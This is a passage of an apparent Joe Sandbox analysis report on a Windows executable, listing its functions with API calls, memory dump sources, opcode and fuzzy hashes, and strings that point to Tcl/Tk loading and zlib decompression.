                                                    • RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 485612231-0
                                                    • Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
                                                    • Instruction ID: 16df52110ee5e55702c2eb7e830f0380646ec7fa15918a9bd4f9681bfb5eda65
                                                    • Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
                                                    • Instruction Fuzzy Hash: 7CE0B650F0964682FF186FB2AC9517912A79F98742B4C4034D91EC73DBEE2C6845AE64
                                                    Function 00007FF6399C9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CloseHandle.KERNELBASE(?,?,?,00007FF6399C9CE5,?,?,00000000,00007FF6399C9D9A), ref: 00007FF6399C9ED6
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399C9CE5,?,?,00000000,00007FF6399C9D9A), ref: 00007FF6399C9EE0
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CloseErrorHandleLast
                                                    • String ID:
                                                    • API String ID: 918212764-0
                                                    • Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
                                                    • Instruction ID: 6872ea66d87ee275f1728c6d3d61bce00b027398d8511cba363d58449f465ec7
                                                    • Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
                                                    • Instruction Fuzzy Hash: F1219251F1C64241EB549B65AD9037922979F94790F1C4235E92EC77DBCE6CE840AF00
                                                    Function 00007FF6399CB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
                                                    • Instruction ID: 1ef58e78cba51d7d1ac4b0c52c93c23deca71ee39994f10030582f55c7ce0763
                                                    • Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
                                                    • Instruction Fuzzy Hash: 4041D332D4964287EA249F25A94127D73A6EB55B80F180131D68EC37DACF3CE402EF51
                                                    Function 00007FF6399B76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _fread_nolock
                                                    • String ID:
                                                    • API String ID: 840049012-0
                                                    • Opcode ID: 5fee6f4b153d664a2bd563205a638a7a0632882397ffaff6518509efc46c8e1f
                                                    • Instruction ID: 112920b6347dd9481128a4aadfd3008750ea527117ab69629fe34ce041bf3be9
                                                    • Opcode Fuzzy Hash: 5fee6f4b153d664a2bd563205a638a7a0632882397ffaff6518509efc46c8e1f
                                                    • Instruction Fuzzy Hash: 3E21A622B0865646FA10AE1AAD443BAA6A6FF45BD4F8C4530DD4D87BCBDE7DE041DB00
                                                    Function 00007FF6399CAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
                                                    • Instruction ID: 075d174c29e8b9a285cc86435d9de6b6566309175037b2baedb39b092c8697f9
                                                    • Opcode Fuzzy Hash: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
                                                    • Instruction Fuzzy Hash: 5F31B021E1864286F711AF559C413BD2796AF90BA6F490135EA1E833DBCFBDE441AF20
                                                    Function 00007FF6399C52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
                                                    • Instruction ID: 56b9e94d63be7f45dbb1bba05753af811a8de41adb3b99ca54eef3c21e62fd0c
                                                    • Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
                                                    • Instruction Fuzzy Hash: 0F114F21E1D68182EA619F519C0027EA3A6AF95B80F4C4531EA4D97BDFCF3CE840AF51
                                                    Function 00007FF6399D5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
                                                    • Instruction ID: a08a8f01a3e38d73171e4013f390a53a909629312db10b44d83c032028ec7086
                                                    • Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
                                                    • Instruction Fuzzy Hash: 06216572A18A8186DB618F18D48077976A2EF94B94F684234E65DC77EEDF3DD800DF01
                                                    Function 00007FF6399BF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
                                                    • Instruction ID: cb41d71a703044fa55ed11e87dc92ecfc2a6ef28e0a2cd7a8ce8a7d49e575bbe
                                                    • Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
                                                    • Instruction Fuzzy Hash: 3C01A522B0874241EA04AF965940069A7AAEF95FE0F4C4671DE5C93BDFDE3CD5029B00
                                                    Function 00007FF6399CC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • HeapAlloc.KERNEL32(?,?,?,00007FF6399BFFB0,?,?,?,00007FF6399C161A,?,?,?,?,?,00007FF6399C2E09), ref: 00007FF6399CC94A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AllocHeap
                                                    • String ID:
                                                    • API String ID: 4292702814-0
                                                    • Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
                                                    • Instruction ID: 07109acda032d58db3665b32a49a7b6757112b3a2e0f4f536edd6dae4471efae
                                                    • Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
                                                    • Instruction Fuzzy Hash: 99F0F811F1928785FF54AFA15D5127956825F8ABA2F0C4B30E92EC63CBEE2CA541AD20

                                                    Non-executed Functions

                                                    Function 00007FF6399B6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                    • API String ID: 190572456-3427451314
                                                    • Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
                                                    • Instruction ID: b0625da47e1d62b4d2f7ed068b07fa581d285f2619d457baafaa486d2f2e8487
                                                    • Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
                                                    • Instruction Fuzzy Hash: 0BE1B265959B03D0FA199F15E8801B462B3EF19795F8C1136D80E82BEEEF3CB558AB40
                                                    Function 00007FF6399D33BC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                    • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                    • API String ID: 808467561-2761157908
                                                    • Opcode ID: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
                                                    • Instruction ID: 8b6f2fcf061b27f97f3754bcc7c8a6bbe22ff1de4ae48ef516ad52b8833e4b79
                                                    • Opcode Fuzzy Hash: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
                                                    • Instruction Fuzzy Hash: 5BB2C372A182828BE7258E64D5817FD77A2FF58389F485135DA0D97BCADF38A900DF40
                                                    Function 00007FF6399B79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7A1B
                                                    • RemoveDirectoryW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7A9E
                                                    • DeleteFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ABD
                                                    • FindNextFileW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ACB
                                                    • FindClose.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7ADC
                                                    • RemoveDirectoryW.KERNEL32(?,00007FF6399B7EF9,00007FF6399B39E6), ref: 00007FF6399B7AE5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                    • String ID: %s\*
                                                    • API String ID: 1057558799-766152087
                                                    • Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
                                                    • Instruction ID: 9b3062bb9eced70b9f5a44a8f542fc99120c9f293cc927ccb8e8015a742684cf
                                                    • Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
                                                    • Instruction Fuzzy Hash: 3D417321A0C54395EA609F28E8946B96372FF94754F480632D59DC2BDEDF3CE64ADF00
                                                    Function 00007FF6399B9FCD Relevance: 12.0, Strings: 9, Instructions: 744COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
                                                    • API String ID: 0-2665694366
                                                    • Opcode ID: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
                                                    • Instruction ID: 966edf1186aaacc1f9fd15fe24e70a677bb54df603afc31e86100fb9c12f2c54
                                                    • Opcode Fuzzy Hash: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
                                                    • Instruction Fuzzy Hash: 3652C172A196A68BE7A48F14C458A7E3AFEFB84344F094139E64A877C5DF3DD844DB00
                                                    Function 00007FF6399BC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                    • String ID:
                                                    • API String ID: 3140674995-0
                                                    • Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
                                                    • Instruction ID: 88cc63fa2d3d78d5702b9939fa759bd5f20276f3867e74f08a6b3a9732b2e0c4
                                                    • Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
                                                    • Instruction Fuzzy Hash: A7314172609B8286EB609F64E8803ED7366FB45744F08403ADB4D87B99EF3CD548DB10
                                                    Function 00007FF6399B29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ErrorFormatLast
                                                    • String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
                                                    • API String ID: 3971115935-1149178304
                                                    • Opcode ID: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
                                                    • Instruction ID: e23df13dd8c211dbbfe134ac05227a4795ee38c66b6018f8bd935c15cbdd32e1
                                                    • Opcode Fuzzy Hash: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
                                                    • Instruction Fuzzy Hash: 20216072608A8682E7209F11F4502EA73A5FB88784F440136EACD93BDDDF7CD6469F40
                                                    Function 00007FF6399D4F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D4F55
                                                      • Part of subcall function 00007FF6399D48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48BC
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                      • Part of subcall function 00007FF6399C9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6399C9BEF,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399C9C19
                                                      • Part of subcall function 00007FF6399C9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6399C9BEF,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399C9C3E
